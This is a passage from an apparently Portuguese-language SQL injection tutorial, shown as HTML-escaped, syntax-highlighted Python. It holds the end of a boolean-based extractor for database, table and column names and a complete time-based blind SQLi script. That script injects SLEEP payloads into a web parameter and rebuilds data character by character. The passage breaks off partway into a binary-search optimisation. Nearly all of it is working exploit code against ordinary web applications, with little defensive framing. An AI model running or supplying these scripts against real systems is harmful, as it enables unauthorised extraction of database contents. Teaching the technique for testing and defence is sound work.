&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;[*] Extracting database name...&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    db &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;SELECT database()&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;[+] Database: &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;[*] Extracting first table name...&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    table &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;SELECT table_name FROM information_schema.tables &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;WHERE table_schema=&apos;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos; LIMIT 1&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;[+] First table: &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;[*] Extracting columns...&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    cols &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;SELECT GROUP_CONCAT(column_name) FROM information_schema.columns &quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;WHERE table_name=&apos;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;[+] Columns: &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;cols&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2 id=&quot;time-based-exploitation-manual&quot;&gt;Time-Based Exploitation (Manual)&lt;/h2&gt;
&lt;p&gt;Quando não há diferença visual na resposta, use atrasos de tempo como canal de informação.&lt;/p&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;#!/usr/bin/env python3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;# time_based_sqli.py — Time-based extractor&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; requests&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; time&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;http://target.com/user&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;PARAM&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;     =&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;id&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;DELAY&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;     =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;      # seconds to sleep if TRUE&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;THRESHOLD&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2.5&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;    # detection threshold&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;CHARS&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;     =&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string.ascii_lowercase &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; string.digits &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;_-@.&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject_time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;bool&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    &quot;&quot;&quot;Returns True if the response took longer than THRESHOLD.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    full &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;1 AND IF((&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;payload&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;), SLEEP(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{DELAY}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;), 0)-- -&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    params &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;PARAM&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: full}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    start &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; time.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    try&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        requests.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;TARGET&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;params&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;params, &lt;/span&gt;&lt;span style=&quot;color:#E06C75;font-style:italic&quot;&gt;timeout&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;DELAY&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; +&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    except&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; requests.exceptions.Timeout:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    elapsed &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; time.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;() &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; start&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; elapsed &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; THRESHOLD&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;max_len&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 64&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    result &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; pos &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; range&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, max_len &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        found &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; False&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        for&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ch &lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; CHARS&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;            payload &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;SUBSTRING((&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;),&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;pos&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;,1)=&apos;&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;ch&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&apos;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;            if&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; inject_time&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(payload):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                result &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; ch&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                sys.stdout.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;write&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(ch)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                sys.stdout.&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt;flush&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;                found &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; True&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;                break&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt; not&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; found:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;            break&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; result&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#E06C75&quot;&gt; __name__&lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt; ==&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt; &quot;__main__&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;[*] Time-based extraction — this will be slow...&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    db &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_string&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;SELECT database()&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;[+] Database: &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;db&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#98C379&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;NOTA:&lt;/strong&gt; Time-based SQLi é extremamente lento para strings longas. Use binary search (ascii range) para otimizar.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;otimização-com-binary-search&quot;&gt;Otimização com Binary Search&lt;/h3&gt;
&lt;pre class=&quot;astro-code one-dark-pro&quot; style=&quot;background-color:#282c34;color:#abb2bf; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#61AFEF&quot;&gt; extract_char_binary&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66;font-style:italic&quot;&gt;pos&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#98C379&quot;&gt;    &quot;&quot;&quot;Extract a single character using binary search on ASCII value.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;    lo, hi &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 32&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt;126&lt;/span&gt;&lt;span style=&quot;color:#7F848E;font-style:italic&quot;&gt;  # printable ASCII range&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#C678DD&quot;&gt;    while&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; lo &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; hi:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt;        mid &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; (lo &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#ABB2BF&quot;&gt; hi) &lt;/span&gt;&lt;span style=&quot;color:#56B6C2&quot;&gt;//&lt;/span&gt;&lt;span style=&quot;color:#D19A66&quot;&gt; 2&lt;/span&gt;&lt;/span&gt;
